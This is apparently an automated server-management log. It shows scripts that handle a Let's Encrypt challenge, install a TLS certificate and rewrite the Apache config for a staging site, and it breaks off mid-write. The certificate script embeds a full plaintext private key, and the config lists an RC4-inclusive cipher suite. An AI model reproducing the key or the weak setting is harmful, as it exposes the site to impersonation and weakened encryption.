MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-02-11 06:00:02: Establishing a connection
2026-02-11 06:00:04: Establishing a connection
2026-02-11 06:00:05: 

PUT: /tmp/pkp609825

#!/bin/bash
if [ -d "/mnt/internal/www/theyoungdesigners_stage/public/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-11 06:00:06: 

chmod 755 /tmp/pkp609825; /tmp/pkp609825; rm /tmp/pkp609825

2026-02-11 06:00:06: 


1


2026-02-11 06:00:07: Establishing a connection
2026-02-11 06:00:08: 

PUT: /tmp/pkp365988

#!/bin/bash
mkdir -p "/mnt/internal/www/theyoungdesigners_stage/public/.well-known/acme-challenge/"
cd "/mnt/internal/www/theyoungdesigners_stage/public/.well-known/acme-challenge/"
cat > f-I8GZxF4AY-10ykMaNQABRrfbzywcF9SAU8BPFlMbk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
f-I8GZxF4AY-10ykMaNQABRrfbzywcF9SAU8BPFlMbk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 f-I8GZxF4AY-10ykMaNQABRrfbzywcF9SAU8BPFlMbk


2026-02-11 06:00:09: 

chmod 755 /tmp/pkp365988; /tmp/pkp365988; rm /tmp/pkp365988

2026-02-11 06:00:09: 




2026-02-11 06:00:14: Establishing a connection
2026-02-11 06:00:15: 

PUT: /tmp/pkp566826

#!/bin/bash
mkdir -p "/mnt/internal/www/theyoungdesigners_stage/public/.well-known/acme-challenge/"
cd "/mnt/internal/www/theyoungdesigners_stage/public/.well-known/acme-challenge/"
rm f-I8GZxF4AY-10ykMaNQABRrfbzywcF9SAU8BPFlMbk


2026-02-11 06:00:16: 

chmod 755 /tmp/pkp566826; /tmp/pkp566826; rm /tmp/pkp566826

2026-02-11 06:00:16: 




2026-02-11 06:00:16: Establishing a connection
2026-02-11 06:00:17: 

PUT: /tmp/pkp290416

#!/bin/bash
temp_file=$(mktemp)
TARGET=71986a4933a5df06d6ba64d41a00e6e1.crt

cat > $temp_file <<'endmsg'
7f:02:c6:f9:eb:16:a1:51:ec:62:e4:6c:dd:92:ae:7e

-----BEGIN CERTIFICATE-----
MIIFGjCCBAKgAwIBAgISBnTA9VSyfSVuISZRLs9WzpjIMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjExMDUwMTQyWhcNMjYwNTEyMDUwMTQxWjAmMSQwIgYDVQQD
ExtzdGFnZS50aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUA
A4IBDwAwggEKAoIBAQC1+YZLcqUmaAiNd3DZVFFQfQ+ugymN90I/4njiWoKur0Xh
3OiyjftlyK+oz/xBrgLufsNAnegPn7BiQDaryaS1qFKgtd0W3ZQ60PrnHAlpH8fp
9E2sdJwF9scmU3fcVgU1nEDY/ChcnHeCDTTU92cUbVbHUZRmizWxnKlMEIzZABa+
C6sV9fi3PA44QW3bNlVvtT8/FCPYM5Ip/qgduodiAfUWU+8bRacvDh955n+F1qnO
pC9NXZCE8gkBuZp3UHy4uFbN5AOeaS8LD2YEb5JAtPkcjSshBV18t5dU64002Qmh
L3R1Rpqaa7BqXR/YPq6yuXrirRcFUdxe8QW7RBD5AgMBAAGjggIzMIICLzAOBgNV
HQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1Ud
EwEB/wQCMAAwHQYDVR0OBBYEFKhjdl1D6pN4cT+UHmHOic6k1B/6MB8GA1UdIwQY
MBaAFOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEF
BQcwAoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wJgYDVR0RBB8wHYIbc3RhZ2Uu
dGhleW91bmdkZXNpZ25lcnMuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1Ud
HwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNzMuY3JsMIIBDAYK
KwYBBAHWeQIEAgSB/QSB+gD4AHYAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7V
A8l9zfAAAAGcS0krRwAABAMARzBFAiEAvYGmVrZoczQ1WFOB3WO2D19QemHH5dIA
6xky2HtczIMCIHs8OdRE5DxJpJD5nXdvUSQ5OORJL/6odE4pqJEY6j3pAH4Apcl4
kl1XRheChw3YiWYLXFVki30AQPLsB2hR0YhpGfcAAAGcS0ku5QAIAAAFADHWdQwE
AwBHMEUCICGI6ImqRY0IgckSrX/TANROEmM14PFhkoH0yGLouXm5AiEA7Y7Sxcmo
toRVl3yWYmZINn2R9IadfX5+K253b/1X4i8wDQYJKoZIhvcNAQELBQADggEBAAWq
TeZdfJI/kQtF73uNJ2rvjqZEOrqK2im0A4zaUmjK1LJZZ1AFsQmCkSHE1SUTTaCs
iE8AQFzR3Gtt8lghpzi9HQzXz7mv048bTnF/cx90ZTWGtO+I5DgDzwll+pexJv+I
p5xP3OqBncwylBpBnTQmCMxdK9AWh4vdHbI8M+mYq8Wm4jTeUtV960tEDjQf7id8
jFoo1gbeE5joxGqcaIuJ83a5sOPT6RnA59ai/k26lb6KfQwDsxTD7eRyxr4Pw95l
p7inrmi+voDxNxZeVYZHzsnf3GyDYP/WvOqUCCrhz+cACWuVTv4+44ESCf6wbGUR
JtPXWRWanei5l4yP+Nk=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC1+YZLcqUmaAiN
d3DZVFFQfQ+ugymN90I/4njiWoKur0Xh3OiyjftlyK+oz/xBrgLufsNAnegPn7Bi
QDaryaS1qFKgtd0W3ZQ60PrnHAlpH8fp9E2sdJwF9scmU3fcVgU1nEDY/ChcnHeC
DTTU92cUbVbHUZRmizWxnKlMEIzZABa+C6sV9fi3PA44QW3bNlVvtT8/FCPYM5Ip
/qgduodiAfUWU+8bRacvDh955n+F1qnOpC9NXZCE8gkBuZp3UHy4uFbN5AOeaS8L
D2YEb5JAtPkcjSshBV18t5dU64002QmhL3R1Rpqaa7BqXR/YPq6yuXrirRcFUdxe
8QW7RBD5AgMBAAECggEAAMFBnj3CI2IGWg7jKhWkVjcEmgLbiOYcEV+HRJofRWn+
+lhEI1x9LN+LogHF4EBgbPyb4wBcsnblQI0XZPhLzYCeoiHLAmGmMCXGiq+mNthN
yCHOMi9UJ96tlhI90q1NLXsh1jyajsLL6J9VJyaFGBO5is9i9BdzADMADUuax/or
LZceCBefBkRGjddCrYfP/snFhOTft9rbK6Dbp2//OAppnl12wP34qNqso7eQtGfK
T5Pi7tZjgGvkJ0sbhkN+wlyjwQ48gTA04j8pQmJBZ0vLxygQBO4wZov2YOwqQdok
KsunfNhlVFaJawp4r7vazLcfj6+obS9lKcJ89eNa8QKBgQD9h3u3vRoxO80IILqE
dlueK48t5Ee6cKRAOhcF/PJTl+ghVBMlXayWdg2JOuZ3dA7cBvKl5uLWWQSqNFA9
Y0gop8SYtO/NwJSQBvVTSh/LgVCFZA7R7MSinNfrPophOt/1bdkz/7MoHiuNJtkd
trTEcGVr1DqNsk0dh/1B5xZVqQKBgQC3v4YRC7zzBPqrHfCW9u464QdLObUecugp
HAQWI3b1fXipemCw1FZr3rSO0MG5PL8CC8Y9+nrg9NOF8NRKP+qlaiWoBWyt/h3/
sVDMaveVQ7xsO4cCs0qohskGtTwpfRHlTBrIDSrDmL4Seh2DDlCQJtvcY5MIlt1X
PAhkBNhS0QKBgH5wDvc3S9S56irfh6WAEXj0aFeOvWbxvjh5v/mwiHnADHhyoYnF
CcmP3nhN85onOzHoFSM/3mjfxD/ODyZOWTJNWPJ/agjGvlCF59s94FVxjGK539o5
pmciqVwcuI58+ixAOE6CeyrKwRWIBkeXUteU5j+8e+cmwOa1Z0xynuThAoGBAJQm
L4n+1NF76j+dXCXb4ihG1wKn/IgYTWcX15Oh9H/qMiczLFJmYWeHoDylxAv+FmMn
6yZ9liVaQFF14zQaZK4J72KRPRbsFHPcGzE17XjDrF/3ftuGg2NtiReHeIJa/NrL
iaxSMXCS7m0nWDQajoorSolfH2WFfeCf3oQGBASBAoGBAPjIJjo+v7IFiG8mKO8C
D1A88fzS6pW1GCDH9E6H8Pcl19U195ABtr9Ai+8Y0NwkacKCo+RKxePty42BA5hA
ApyqCkmebXBD0W2341p9hJAgLvRrGNioyo9XUqmvqpH87v9Vlxoyuw3UEgCCAzM3
tBIuW4PHZ0Vz0xfzv3aqS9hh
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-11 06:00:18: 

chmod 755 /tmp/pkp290416; /tmp/pkp290416; rm /tmp/pkp290416

2026-02-11 06:00:18: 


dir=/etc/ssl/certs


2026-02-11 06:00:18: 

PUT: /tmp/pkp376444

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/theyoungdesigners_stage.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-11 06:00:18: 

chmod 755 /tmp/pkp376444; /tmp/pkp376444; rm /tmp/pkp376444

2026-02-11 06:00:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_stage.conf 47

<VirtualHost *:80>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/stage_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/stage_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-11 06:00:19: 

PUT: /tmp/pkp226894

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=theyoungdesigners_stage.conf
TARGET=/etc/apache2/sites-enabled/theyoungdesigners_stage.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
